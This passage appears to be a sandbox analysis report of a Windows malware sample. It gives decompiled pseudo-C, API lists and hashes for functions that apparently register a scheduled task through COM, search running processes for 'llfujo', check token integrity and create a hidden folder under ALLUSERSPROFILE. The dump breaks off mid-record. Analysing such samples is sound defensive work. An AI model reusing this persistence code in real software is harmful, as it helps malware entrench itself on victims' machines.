						if(_t120 != 0x4000 && _t120 != 0x3000) {
							_v1036 = 0x100;
							_push( &_v1036);
							_push( &_v1032);
							_push(2);
							L00406A9C();
						}
						_t122 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t122 + 0x78))))(_t122,  &_v1032, 0);
						_t126 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t126 + 0x80))))(_t126,  &_v1888); // executed
						_t209 = _a16;
						if(_a16 != 0) {
							E00406460(_t209, _a16,  &_v2144);
							_t174 = _v12;
							 *((intOrPtr*)( *((intOrPtr*)( *_t174 + 0x88))))(_t174,  &_v2144);
						}
						_t128 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t128 + 0xa8))))(_t128, 0xd65cb580);
						_push( &_v1040);
						_push( &_v1044);
						_t132 = _v12;
						_push(_t132);
						if( *((intOrPtr*)( *((intOrPtr*)( *_t132 + 0xc))))() >= 0) {
							E00406259( &_v1092, 0x30);
							GetLocalTime( &_v1112);
							SystemTimeToFileTime( &_v1112,  &_v1120);
							_t143 = 0x47868c00;
							if(_a20 == 1) {
								_t143 = 0x29b92700;
							}
							_v1120.dwLowDateTime = _v1120.dwLowDateTime + _t143;
							asm("adc [ebp-0x458], edx");
							FileTimeToSystemTime( &_v1120,  &_v1112);
							if(_a20 == 0) {
								_v1060 = 1;
								_v1056 = 1;
								_v1072 = 0x5a0;
								_v1068 = 2;
							}
							_v1092 = 0x30;
							_v1074 = _v1112.wMinute;
							_v1076 = _v1112.wHour;
							_v1084 = _v1112.wDay;
							_v1086 = _v1112.wMonth;
							_t151 = _v1112.wYear;
							_v1088 = _t151;
							_v1082 = _t151 + 0x64;
							_v1080 = 1;
							_v1078 = 1;
							_t154 = _v1040;
							 *((intOrPtr*)( *((intOrPtr*)( *_t154 + 0xc))))(_t154,  &_v1092);
							E00406270(0x408103, 0x10,  &_v3424);
							_push( &_v1096);
							_push( &_v3424);
							_t160 = _v12;
							_push(_t160);
							if( *((intOrPtr*)( *((intOrPtr*)( *_t160))))() >= 0) {
								_t165 = _v1096;
								 *((intOrPtr*)( *((intOrPtr*)( *_t165 + 0x18))))(_t165, 0, 1); // executed
								if(_a24 != 0) {
									_t169 = _v12;
									 *((intOrPtr*)( *((intOrPtr*)( *_t169 + 0x30))))(_t169); // executed
								}
								_t167 = _v1096;
								 *((intOrPtr*)( *((intOrPtr*)( *_t167 + 8))))(_t167);
							}
							_t163 = _v1040;
							 *((intOrPtr*)( *((intOrPtr*)( *_t163 + 8))))(_t163);
						}
						_t135 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t135 + 8))))(_t135);
					}
					_t114 = _v8;
					_t102 =  *((intOrPtr*)( *((intOrPtr*)( *_t114 + 8))))(_t114);
				}
				L00406A6C();
				return _t102;
			}

0x004053cf
0x004053de
0x004053e6
0x004053eb
0x004053ed
0x00405400
0x00405413
0x0040541b
0x00405422
0x00405423
0x00405425
0x00405427
0x0040542d
0x0040542e
0x00405436
0x0040544a
0x0040545d
0x0040547b
0x00405484
0x00405489
0x00405494
0x0040549d
0x004054ab
0x004054b0
0x004054ba
0x004054c6
0x004054d6
0x004054dd
0x004054de
0x004054e0
0x004054e0
0x004054ee
0x004054f7
0x00405500
0x0040550c
0x0040550e
0x00405512
0x0040551e
0x0040552a
0x00405536
0x00405536
0x0040553d
0x00405549
0x00405551
0x00405558
0x00405559
0x0040555e
0x00405567
0x00405576
0x00405582
0x00405595
0x0040559a
0x004055a3
0x004055a5
0x004055a5
0x004055ac
0x004055b2
0x004055c6
0x004055cf
0x004055d1
0x004055db
0x004055e2
0x004055ec
0x004055ec
0x004055f6
0x00405606
0x00405614
0x00405622
0x00405630
0x00405637
0x0040563e
0x00405649
0x00405650
0x00405659
0x00405669
0x00405675
0x00405685
0x00405690
0x00405697
0x00405698
0x0040569d
0x004056a5
0x004056ab
0x004056b7
0x004056bd
0x004056bf
0x004056c8
0x004056c8
0x004056ca
0x004056d6
0x004056d6
0x004056d8
0x004056e4
0x004056e4
0x004056e6
0x004056ef
0x004056ef
0x004056f1
0x004056fa
0x004056fa
0x004056fc
0x00405705

APIs

Part of subcall function 00405708: CoInitialize.OLE32(00000000), ref: 00405726
Part of subcall function 00405708: CoCreateInstance.OLE32(?,00000000,00000001,?,?,004080D3,00000010,?,004080C3,00000010,?,?,?,?,?,000000C7), ref: 00405767
Part of subcall function 00405708: CoUninitialize.OLE32(?,00000000,00000001,?,?,004080D3,00000010,?,004080C3,00000010,?,?,?,?,?,000000C7), ref: 0040579D

CoInitialize.OLE32(00000000), ref: 004053ED
CoCreateInstance.OLE32(?,00000000,00000001,?,?,004080D3,00000010,?,004080C3,00000010,?,00000000,?,?,?,?), ref: 0040542E
CoUninitialize.OLE32(?,00000000,00000001,?,?,004080D3,00000010,?,004080C3,00000010,?,00000000,?,?,?,?), ref: 004056FC

Part of subcall function 00405D68: GetCurrentProcess.KERNEL32 ref: 00405D7F
Part of subcall function 00405D68: OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 00405D8D
Part of subcall function 00405D68: LocalAlloc.KERNEL32(00000000,?,00000000,00000008,?), ref: 00405D9F
Part of subcall function 00405D68: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,00000000,00000008,?), ref: 00405DB6
Part of subcall function 00405D68: LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405DC4
Part of subcall function 00405D68: LocalAlloc.KERNEL32(00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405DCE
Part of subcall function 00405D68: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000), ref: 00405DE5
Part of subcall function 00405D68: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405DF5
Part of subcall function 00405D68: LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405E0D
Part of subcall function 00405D68: CloseHandle.KERNEL32(?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405E15

GetUserNameExW.SECUR32(00000002,?,?,?,00000400,?,004050FE,?,00000014,?,00000000,00000001,00000000,00000018,?,?), ref: 004054E0
GetLocalTime.KERNEL32(?,?,00000030,?,004050FE,?,00000014,?,00000000,00000001,00000000,00000018,?,?,?,00000002), ref: 00405582
SystemTimeToFileTime.KERNEL32(?,?,?,?,00000030,?,004050FE,?,00000014,?,00000000,00000001,00000000,00000018,?,?), ref: 00405595
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,00000030,?,004050FE,?,00000014,?,00000000,00000001,00000000,00000018), ref: 004055C6

Strings

0, xrefs: 004055F6

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: LocalTime$Token$AllocCreateFileFreeInformationInitializeInstanceProcessSystemUninitialize$AuthorityCloseCurrentHandleNameOpenUser
String ID: 0
API String ID: 1653648096-4108050209
Opcode ID: 1416d626cde14abad24a5d1ac5d59f774d36b54aeb1413cca8561d0514f05c44
Instruction ID: f98987ca68586339910774720971a15c6aefd3cbd132fbb1928298114670a648
Opcode Fuzzy Hash: 1416d626cde14abad24a5d1ac5d59f774d36b54aeb1413cca8561d0514f05c44
Instruction Fuzzy Hash: 66A1EBB5900618AFDB10EB94CC85FDA73BCEF48304F1041EAE609E7291D675AE85CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004057A9 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004057A9(void* __eflags, intOrPtr _a4) {
				void* _v8;
				char _v16;
				char _v268;
				void* _v304;
				char _v560;
				char _v816;
				char _v820;
				void* _t26;
				int _t33;
				char _t43;
				char* _t50;
				void* _t51;

				E00406259( &_v820,  &_v16 - _t51);
				E00406270(_a4, 0xffffffff,  &_v560);
				_t26 = CreateToolhelp32Snapshot(2, 0); // executed
				_v8 = _t26;
				_t53 = _t26 - 0xffffffff;
				if(_t26 == 0xffffffff) {
					L13:
					return _v820;
				}
				E00406259( &_v304, 0x128);
				_v304 = 0x128;
				E00406788(_t53, E00406698("kernel32.dll"), "Process32First"); // executed
				_t33 = Process32First(_v8,  &_v304); // executed
				while(_t33 != 0) {
					E004061D2( &_v268,  &_v816, E00406492(__eflags,  &_v268) + 1);
					_t50 =  &_v816;
					while(1) {
						__eflags =  *_t50;
						if(__eflags == 0) {
							break;
						}
						__eflags =  *_t50 - 0x40;
						if( *_t50 > 0x40) {
							__eflags =  *_t50 - 0x5b;
							if( *_t50 < 0x5b) {
								 *_t50 =  *_t50 + 0x20;
								__eflags =  *_t50;
							}
						}
						_t50 = _t50 + 1;
						__eflags = _t50;
					}
					_t43 = E004064AD(__eflags,  &_v816,  &_v560);
					__eflags = _t43;
					if(_t43 == 0) {
						E00406788(__eflags, E00406698("kernel32.dll"), "Process32Next"); // executed
						_t33 = Process32Next(_v8,  &_v304); // executed
						continue;
					}
					_v820 = 1;
					break;
				}
				CloseHandle(_v8); // executed
				goto L13;
			}

0x004057c0
0x004057d1
0x004057da
0x004057df
0x004057e2
0x004057e5
0x004058be
0x004058c8
0x004058c8
0x004057f7
0x004057fc
0x00405820
0x00405825
0x004058ae
0x0040584a
0x0040584f
0x00405865
0x00405865
0x00405868
0x00000000
0x00000000
0x00405857
0x0040585a
0x0040585c
0x0040585f
0x00405861
0x00405861
0x00405861
0x0040585f
0x00405864
0x00405864
0x00405864
0x00405878
0x0040587d
0x0040587f
0x004058a7
0x004058ac
0x00000000
0x004058ac
0x00405881
0x00000000
0x00405881
0x004058b9
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004057DA
Process32First.KERNEL32(00000000,Process32First,kernel32.dll,?,?,?,00000128,?,000000FF,?,?,?,llfujo,?,00000003), ref: 00405825
CloseHandle.KERNEL32(?,?,00000003), ref: 004058B9

Strings

llfujo, xrefs: 004057B4
kernel32.dll, xrefs: 00405810, 00405897
Process32Next, xrefs: 004058A1
Process32First, xrefs: 0040581A

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID: Process32First$Process32Next$kernel32.dll$llfujo
API String ID: 1083639309-1672676195
Opcode ID: 90ccef5e42fa6b801eed3ad52623905751d2fb4a3480df7ab84e29cf1ff3a3c2
Instruction ID: 83b2698786be0b0d411bafa2a389ddecbae14efb72efee28d017c27dc9acba47
Opcode Fuzzy Hash: 90ccef5e42fa6b801eed3ad52623905751d2fb4a3480df7ab84e29cf1ff3a3c2
Instruction Fuzzy Hash: E9316172800218BADB11FBB5CC45FDE76AC9F04314F1049BBB596B20C1DA789BA58F69

Uniqueness

Uniqueness Score: -1.00%

Function 00405708 Relevance: 4.6, APIs: 3, Instructions: 57
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00405708(void* __eflags, intOrPtr _a4) {
				void* _v8;
				char _v16;
				char _v1032;
				char _v1288;
				char _v1544;
				char* _t23;
				intOrPtr* _t27;
				intOrPtr* _t29;
				void* _t36;

				E00406259( &_v1544,  &_v16 - _t36);
				_push(0);
				L00406A66();
				E00406270(0x4080c3, 0x10,  &_v1288);
				E00406270(0x4080d3, 0x10,  &_v1544);
				_push( &_v8);
				_push( &_v1544);
				_push(1);
				_push(0);
				_t23 =  &_v1288;
				_push(_t23); // executed
				L00406A60(); // executed
				_t38 = _t23;
				if(_t23 >= 0) {
					E00406460(_t38, _a4,  &_v1032);
					_t27 = _v8;
					 *((intOrPtr*)( *((intOrPtr*)( *_t27 + 0x1c))))(_t27,  &_v1032); // executed
					_t29 = _v8;
					_t23 =  *((intOrPtr*)( *((intOrPtr*)( *_t29 + 8))))(_t29); // executed
				}
				L00406A6C(); // executed
				return _t23;
			}

0x0040571f
0x00405724
0x00405726
0x00405739
0x0040574c
0x00405754
0x0040575b
0x0040575c
0x0040575e
0x00405760
0x00405766
0x00405767
0x0040576c
0x0040576f
0x0040577b
0x00405787
0x00405790
0x00405792
0x0040579b
0x0040579b
0x0040579d
0x004057a6

APIs

CoInitialize.OLE32(00000000), ref: 00405726
CoCreateInstance.OLE32(?,00000000,00000001,?,?,004080D3,00000010,?,004080C3,00000010,?,?,?,?,?,000000C7), ref: 00405767
CoUninitialize.OLE32(?,00000000,00000001,?,?,004080D3,00000010,?,004080C3,00000010,?,?,?,?,?,000000C7), ref: 0040579D

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID:
API String ID: 948891078-0
Opcode ID: 7fc796c382f08209cf93ca614f8895deed795ba6064a381d794a2e794069cf47
Instruction ID: 9cd06cfbad9ed7532fb61dc6aa78afd82c0923f9754ac24d16ef4cd3a063a98b
Opcode Fuzzy Hash: 7fc796c382f08209cf93ca614f8895deed795ba6064a381d794a2e794069cf47
Instruction Fuzzy Hash: 2A115EB6600208BEDB10FBA5CD81FDF736C9B48304F1144AAB306F31C1DA75AA558F69

Uniqueness

Uniqueness Score: -1.00%

Function 0086092B Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

., xrefs: 0086095F
GetProcAddress., xrefs: 008609DC, 008609DF, 008609E4
l, xrefs: 00860966

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 4065d71a46144b7d70e706176126d4be5aa55b13b96e973cac2a78efb894ae32
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: AB3128B6900619DFDB10CF99C880AAEBBF5FF48324F25414AD441E7251D771EA45CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00B1126A Relevance: 1.6, Instructions: 1562
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.308267503.0000000000B11000.00000040.00000020.00020000.00000000.sdmp, Offset: 00B11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b11000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efbea0cf5f7883a902fda69d7606f0091456b1f032a723b34b2e789163b599ac
Instruction ID: cc7eaf77cc920fffe7da4fb9c6743fc477c14c5ff3d10897c65e34135785166f
Opcode Fuzzy Hash: efbea0cf5f7883a902fda69d7606f0091456b1f032a723b34b2e789163b599ac
Instruction Fuzzy Hash: B572429A80E7C05FE7038B34282A6917FB55E23254B4F15D7C0E4CF2B3E4094A5AEB76

Uniqueness

Uniqueness Score: -1.00%

Function 00405B8B Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 78
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E00405B8B(intOrPtr _a4) {
				struct HINSTANCE__* _v8;
				struct _WNDCLASSA _v48;
				struct HWND__* _v52;
				struct tagMSG _v80;
				char _v336;
				char _v592;
				struct HICON__* _t38;
				struct HWND__* _t43;
				void* _t54;
				void* _t55;

				E00406259( &_v592, _t54 - _t55);
				E00406270("Microsoft", 0xa,  &_v336);
				E00406270("win32app", 9,  &_v592);
				_v8 = GetModuleHandleA(0);
				_v48.style = 0;
				_v48.lpfnWndProc = _a4;
				_v48.cbClsExtra = 0;
				_v48.cbWndExtra = 0;
				_v48.hInstance = _v8;
				_v48.lpszMenuName = 0;
				_v48.lpszClassName =  &_v592;
				_t38 = LoadIconA(0, 0x7f04); // executed
				_v48.hIcon = _t38;
				_v48.hCursor = LoadCursorA(0, 0x7f01);
				_v48.hbrBackground = 6;
				RegisterClassA( &_v48);
				_push(0);
				_push(_v8);
				_push(0);
				_push(0);
				_push(0x96);
				_push(0x1f4);
				_push(0xfa0);
				_push(0xfa0);
				_push(0xc80000);
				_push( &_v336);
				_t43 =  &_v592;
				_push(_t43);
				ExitProcess(0x80); // executed
				_v52 = _t43;
				ShowWindow(_v52, 1); // executed
				UpdateWindow(_v52);
				L1:
				GetMessageA( &_v80, 0, 0, 0);
				TranslateMessage( &_v80);
				DispatchMessageA( &_v80);
				goto L1;
			}

0x00405b9f
0x00405bb2
0x00405bc5
0x00405bd1
0x00405bd4
0x00405bde
0x00405be1
0x00405be8
0x00405bf2
0x00405bf5
0x00405c02
0x00405c0c
0x00405c11
0x00405c20
0x00405c23
0x00405c2e
0x00405c33
0x00405c35
0x00405c38
0x00405c3a
0x00405c3c
0x00405c41
0x00405c46
0x00405c4b
0x00405c50
0x00405c5b
0x00405c5c
0x00405c62
0x00405c68
0x00405c6d
0x00405c75
0x00405c7d
0x00405c82
0x00405c8c
0x00405c95
0x00405c9e
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,win32app,00000009,?,Microsoft,0000000A,?,?), ref: 00405BCC
LoadIconA.USER32 ref: 00405C0C
LoadCursorA.USER32 ref: 00405C1B
RegisterClassA.USER32 ref: 00405C2E
ExitProcess.KERNEL32(00000080,?,?,00C80000,00000FA0,00000FA0,000001F4,00000096,00000000,00000000,?,00000000,00000000,00000000,00007F01,00000000), ref: 00405C68
ShowWindow.USER32(?,00000001,00000080,?,?,00C80000,00000FA0,00000FA0,000001F4,00000096,00000000,00000000,?,00000000,00000000,00000000), ref: 00405C75
UpdateWindow.USER32(?), ref: 00405C7D
GetMessageA.USER32 ref: 00405C8C
TranslateMessage.USER32(?), ref: 00405C95
DispatchMessageA.USER32 ref: 00405C9E

Strings

Microsoft, xrefs: 00405BAD
win32app, xrefs: 00405BC0

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: Message$LoadWindow$ClassCursorDispatchExitHandleIconModuleProcessRegisterShowTranslateUpdate
String ID: Microsoft$win32app
API String ID: 2466556465-2644191155
Opcode ID: c0988211585519f28889d20caa47f2a62cf186668c5d987b6ff5aa59d4caad1a
Instruction ID: b51f43f874003ff8127150a47dd4a647143a6de580d3d9b096764c2d0bfd1006
Opcode Fuzzy Hash: c0988211585519f28889d20caa47f2a62cf186668c5d987b6ff5aa59d4caad1a
Instruction Fuzzy Hash: 6A310CB1E51208BAEB50EFA5CC46FDD77B8AB04704F10807AF605BA1C1D7B956188B69

Uniqueness

Uniqueness Score: -1.00%

Function 00405D68 Relevance: 15.1, APIs: 10, Instructions: 66
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405D68() {
				void* _v8;
				void** _v16;
				long _v20;
				long _v24;
				int _t30;

				_v24 = 0;
				_v20 = 8;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v8) != 0) {
					_v16 = LocalAlloc(0, _v20);
					_t30 = GetTokenInformation(_v8, 0x19, _v16, _v20,  &_v20); // executed
					if(_v20 > 8) {
						LocalFree(_v16);
						_v16 = LocalAlloc(0, _v20);
						_t30 = GetTokenInformation(_v8, 0x19, _v16, _v20,  &_v20); // executed
					}
					if(_t30 != 0 && GetSidSubAuthority( *_v16, 0) != 0) {
						E004061D2(_t34,  &_v24, 4);
					}
					LocalFree(_v16);
					CloseHandle(_v8); // executed
				}
				return _v24;
			}

0x00405d71
0x00405d78
0x00405d94
0x00405da4
0x00405db6
0x00405dbf
0x00405dc4
0x00405dd3
0x00405de5
0x00405de5
0x00405dec
0x00405e05
0x00405e05
0x00405e0d
0x00405e15
0x00405e15
0x00405e21

APIs

GetCurrentProcess.KERNEL32 ref: 00405D7F
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 00405D8D
LocalAlloc.KERNEL32(00000000,?,00000000,00000008,?), ref: 00405D9F
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,00000000,00000008,?), ref: 00405DB6
LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405DC4
LocalAlloc.KERNEL32(00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405DCE
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000), ref: 00405DE5
GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405DF5
LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405E0D
CloseHandle.KERNEL32(?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405E15

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: Local$Token$AllocFreeInformationProcess$AuthorityCloseCurrentHandleOpen
String ID:
API String ID: 1358183241-0
Opcode ID: cc034838ef6585e8e44e3e51d111cb20b3064c3e8dd384f5fd659c2fc58e4f21
Instruction ID: 0ed5edf24493a3d24549599c7cad252047c3f51e1158d8e1505e7d5e37b68127
Opcode Fuzzy Hash: cc034838ef6585e8e44e3e51d111cb20b3064c3e8dd384f5fd659c2fc58e4f21
Instruction Fuzzy Hash: 13111AB1D00119BADF11ABE1CC02FEFB779EF44308F10847AB211B51E1DB758A209BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0086003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0086024D

Strings

kernel32.dll, xrefs: 0086008F, 00860095
cess, xrefs: 0086018D

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: a674808c53c304cfb92e66001fc9b1103b688bc5da09f1356f6c0807d8b00ea4
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 13526874A012299FDB64CF58C985BA9BBB1BF09304F1580E9E90DAB351DB30AE84DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00405CA9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 21%

			E00405CA9(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t8;

				if(_a8 == 0x4a) {
					E00405708(__eflags, "llfujo");
					L004069EE();
					ExitProcess(0); // executed
					return CreateWindowExA();
				}
				_t8 = DefWindowProcA(_a4, _a8, _a12, _a16); // executed
				return _t8;
			}

0x00405cb3
0x00405ccd
0x00405cd2
0x0040688d
0x00406892
0x00406892
0x00405cc1
0x00405ce0

APIs

DefWindowProcA.USER32(?,0000004A,?,?), ref: 00405CC1
WSACleanup.WSOCK32(llfujo), ref: 00405CD2
ExitProcess.KERNEL32(00000000,0000EA60,a2guard.exe,00002710,0040593C,00000000,00002710), ref: 0040688D

Strings

J, xrefs: 00405CAF
llfujo, xrefs: 00405CC8

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: CleanupExitProcProcessWindow
String ID: J$llfujo
API String ID: 4061260214-3406935086
Opcode ID: 2abe4200e4da3db561151cac60e02286d345053df9edb5948291a9ce3e70d2e9
Instruction ID: 8d8e4aaf7dab07b37ca806b23a74fbfaf284af8421403c40db1d9261f70576c4
Opcode Fuzzy Hash: 2abe4200e4da3db561151cac60e02286d345053df9edb5948291a9ce3e70d2e9
Instruction Fuzzy Hash: 40E04872104209FADB013F869D0299F3F54DB41795F118437F506741D2457E9472AB7B

Uniqueness

Uniqueness Score: -1.00%

Function 004058CB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E004058CB(void* __eflags, CHAR* _a4, void* _a8) {
				void* _t23;
				void* _t27;

				_t27 =  &(_a4[GetEnvironmentVariableA("ALLUSERSPROFILE", _a4, 0x100)]);
				asm("stosb");
				_t4 = E004065B9(0x5c, 4) + 4; // 0x4
				_t23 = _t4;
				do {
					_t11 = E004065B9(_t11, 0x18) + 0x61;
					asm("stosb");
					_t23 = _t23 - 1;
					_t34 = _t23;
				} while (_t23 != 0);
				asm("stosb");
				 *_t27 = 0;
				CreateDirectoryA(_a4, 0); // executed
				memcpy(_t27, _a8, E00406492(_t34, _a8));
				asm("stosb");
				asm("stosb");
				asm("stosb");
				asm("stosb");
				asm("stosb");
				return _a4;
			}

0x004058e6
0x004058eb
0x004058f3
0x004058f3
0x004058f6
0x004058fd
0x00405900
0x00405901
0x00405901
0x00405901
0x00405906
0x00405907
0x0040590f
0x00405921
0x00405925
0x00405928
0x0040592b
0x0040592e
0x00405931
0x00405939

APIs

GetEnvironmentVariableA.KERNEL32(ALLUSERSPROFILE,?,00000100,llfujo,?,00000003,?,00401178,?,llfujo,00000000,?,00000100,a2guard.exe,00002710,0040593C), ref: 004058DE
CreateDirectoryA.KERNEL32(?,00000000,00000018,00000004,ALLUSERSPROFILE,?,00000100,llfujo,?,00000003,?,00401178,?,llfujo,00000000,?), ref: 0040590F

Strings

llfujo, xrefs: 004058D0
ALLUSERSPROFILE, xrefs: 004058D9

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: CreateDirectoryEnvironmentVariable
String ID: ALLUSERSPROFILE$llfujo
API String ID: 2250995361-674987400
Opcode ID: 741397e24d0d02486c049c9e4da187bbc5d51e9295f2321dce677bdad8d0cd34
Instruction ID: 8f067fe18934d6b87310dcfc29caca367401994bebfb759ff0ce01904268353f
Opcode Fuzzy Hash: 741397e24d0d02486c049c9e4da187bbc5d51e9295f2321dce677bdad8d0cd34
Instruction Fuzzy Hash: EDF0F43A100108BACB00EF1ADC02FCA3F129B58399F519035FB142B2C2DF71A516AF64

Uniqueness

Uniqueness Score: -1.00%

Function 0040F550 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 133
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,00847C14), ref: 0040F6C6

Strings

![, xrefs: 0040F5B0
@R, xrefs: 0040F589

Memory Dump Source

Source File: 00000000.00000002.308116813.000000000040A000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a000_i1lq1Qpbyw.jbxd

Similarity

API ID: AllocGlobal
String ID: ![$@R
API String ID: 3761449716-3143744918
Opcode ID: 4ddd8694687c28b8444426dd6c555b5ae585839390be9013c3db5c396f0f1c9b
Instruction ID: 98098615c7e61e3209297b63cb06055a76a04939ce80bd2ecad00045fb544937
Opcode Fuzzy Hash: 4ddd8694687c28b8444426dd6c555b5ae585839390be9013c3db5c396f0f1c9b
Instruction Fuzzy Hash: 7E5103349042909BD310DF64ED48B963BA1FBAA304F00543AE559E73F1D7B9498AC7BE

Uniqueness

Uniqueness Score: -1.00%

Function 00B126AE Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00B126D6
Module32First.KERNEL32(00000000,00000224), ref: 00B126F6

Memory Dump Source

Source File: 00000000.00000002.308267503.0000000000B11000.00000040.00000020.00020000.00000000.sdmp, Offset: 00B11000, based on PE: false

Joe Sandbox IDA Plugin

